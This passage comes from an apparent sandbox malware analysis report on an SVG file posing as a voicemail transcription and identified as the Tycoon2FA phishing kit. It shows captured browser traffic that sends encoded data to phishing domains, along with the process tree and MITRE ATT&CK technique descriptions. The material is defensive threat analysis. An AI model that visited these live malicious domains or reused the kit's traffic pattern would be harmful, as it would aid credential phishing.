2025-03-17 20:56:12 UTC	901	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 38 36 37 37 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 38 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 34 31 2e 31 30 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 6d 61 72 69 6e 61 2e Data Ascii: [{"age":58677,"body":{"elapsed_time":884,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.41.104","status_code":404,"type":"http.error"},"type":"network-error","url":"https://grupomarina.
2025-03-17 20:56:12 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Mon, 17 Mar 2025 20:56:12 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49803	104.21.49.96	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:56:22 UTC	796	OUT	POST /qroGHAUDePLpnzyKkQmczDpopPjitYSbVTVKVKMUJVFITSMCWETEESJCFPZDLPJNJXIrsjeRFV6JKY12RPztaFwx38 HTTP/1.1 Host: 5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es Connection: keep-alive Content-Length: 121 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://grupomarina.brightnexst.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:56:22 UTC	121	OUT	Data Raw: 64 61 74 61 3d 70 73 6c 59 6a 6b 47 6b 5a 74 46 43 61 25 32 46 51 68 58 70 59 48 48 35 42 51 66 57 6e 72 74 70 51 66 35 68 62 43 44 42 61 5a 47 55 43 6f 68 54 33 73 6e 6e 53 64 65 4e 68 69 45 49 65 49 76 75 67 4d 52 4a 6c 6a 70 36 62 47 4f 76 37 25 32 42 37 69 43 62 34 6b 4f 25 32 46 34 7a 77 35 32 55 76 39 69 6e 5a 35 75 6a 53 43 6d 4b 35 32 52 7a 6b 25 33 44 Data Ascii: data=pslYjkGkZtFCa%2FQhXpYHH5BQfWnrtpQf5hbCDBaZGUCohT3snnSdeNhiEIeIvugMRJljp6bGOv7%2B7iCb4kO%2F4zw52Uv9inZ5ujSCmK52Rzk%3D
2025-03-17 20:56:23 UTC	932	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:56:23 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 536 Connection: close vary: Origin access-control-allow-origin: https://grupomarina.brightnexst.ru cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IPxChE9ULDOiuF9%2BrTr9AyXioPUHvJO1bY1wOxi4Tx0yA78j%2FERw2%2Bp%2Bbal84cpNFWZomgv2HQSM%2FtlRmPEIZjNMoJprB8oW57BTFXq1FCTgiIruTWxgMRqFM1w4UUaCYkyPeKZZP%2FYLEfTcjoUkCcSuwrE46PWxQiiX3MXffKF8BM72Aj0l4TuYK%2FYK1J7IPbA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921f6585bf32b637-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2008&min_rtt=2002&rtt_var=763&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1511&delivery_rate=1422308&cwnd=80&unsent_bytes=0&cid=05b58cd802de8018&ts=484&x=0"
2025-03-17 20:56:23 UTC	437	IN	Data Raw: 6a 6f 31 70 66 6d 54 79 7a 4c 58 5a 63 64 33 52 52 33 6c 2b 37 6c 36 55 61 79 73 74 4c 54 69 6b 69 37 35 39 50 65 56 32 51 6a 47 76 6c 31 56 2b 45 73 76 47 69 4d 42 45 6f 69 50 73 4e 64 64 6b 2b 71 37 49 52 49 76 55 33 35 39 37 4b 41 58 5a 2f 43 6b 4a 41 76 5a 30 55 74 30 63 31 53 62 6c 38 5a 4b 59 31 78 32 43 32 51 6b 66 35 2b 31 57 50 75 30 70 58 56 6a 37 31 56 56 2f 46 75 34 49 76 72 56 34 68 69 75 55 46 39 6d 37 71 4d 39 55 61 55 36 63 55 72 34 56 44 30 66 4d 55 69 4a 4a 6e 6a 79 58 2b 6f 4e 4c 64 77 62 33 6f 58 50 39 53 34 67 64 41 72 39 58 4f 47 4f 44 4e 68 51 43 54 51 48 58 6f 59 4f 78 31 65 62 43 51 71 57 54 39 2f 79 72 6b 4c 76 59 58 73 38 49 65 72 31 72 58 41 6e 49 64 55 64 77 6c 57 76 41 7a 6c 34 37 78 76 2b 62 34 41 33 4a 62 6d 53 43 33 71 32 Data Ascii: jo1pfmTyzLXZcd3RR3l+7l6UaystLTiki759PeV2QjGvl1V+EsvGiMBEoiPsNddk+q7IRIvU3597KAXZ/CkJAvZ0Ut0c1Sbl8ZKY1x2C2Qkf5+1WPu0pXVj71VV/Fu4IvrV4hiuUF9m7qM9UaU6cUr4VD0fMUiJJnjyX+oNLdwb3oXP9S4gdAr9XOGODNhQCTQHXoYOx1ebCQqWT9/yrkLvYXs8Ier1rXAnIdUdwlWvAzl47xv+b4A3JbmSC3q2
2025-03-17 20:56:23 UTC	99	IN	Data Raw: 4b 6b 73 6f 50 69 43 65 36 63 68 59 73 72 41 39 75 6d 66 77 68 57 53 5a 53 78 73 75 4f 71 58 63 54 53 72 76 69 33 7a 36 62 31 77 44 77 43 4e 6d 66 76 4a 39 56 39 4c 73 50 71 61 31 66 75 38 79 52 61 77 45 61 49 7a 6b 31 55 6f 32 4c 57 42 4c 6a 41 4f 7a 54 77 6e 35 37 69 5a 6f 51 67 50 7a 41 3d 3d Data Ascii: KksoPiCe6chYsrA9umfwhWSZSxsuOqXcTSrvi3z6b1wDwCNmfvJ9V9LsPqa1fu8yRawEaIzk1Uo2LWBLjAOzTwn57iZoQgPzA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49804	104.21.49.96	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:56:23 UTC	517	OUT	GET /qroGHAUDePLpnzyKkQmczDpopPjitYSbVTVKVKMUJVFITSMCWETEESJCFPZDLPJNJXIrsjeRFV6JKY12RPztaFwx38 HTTP/1.1 Host: 5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:56:23 UTC	813	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:56:23 GMT Content-Length: 0 Connection: close vary: Origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uXLKGWXC7rNU9aPsdsbkVexIQoc5GQqmnOlPihRlFCZsE0uCetIVgJqSDBpzYDJpmhP2Pk2ameBr2l7shShOQrSZHnTT8TWv2QTGA86kzEtPb3sReaklnrYo7SgwPqhdbMtXreq9GYGvK6TD0TvVosIuFtS1uHF1yoZRbWJoqYsAsVtyc3Tn%2FPtHQvxqijOQr9o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921f658baba1ed71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2061&min_rtt=2057&rtt_var=781&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1089&delivery_rate=1393794&cwnd=123&unsent_bytes=0&cid=7838a2a2eab1bd71&ts=186&x=0"

Target ID:	0
Start time:	16:54:56
Start date:	17/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\PLAYVO~1.SVG
Imagebase:	0x7ff77eaf0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	16:54:57
Start date:	17/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2044,i,7288536219110086134,15413776007562023016,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:3
Imagebase:	0x7ff77eaf0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Play Voicemail Transcription. (387.KB).svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Initial Sample

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Windows Analysis Report
Play Voicemail Transcription. (387.KB).svg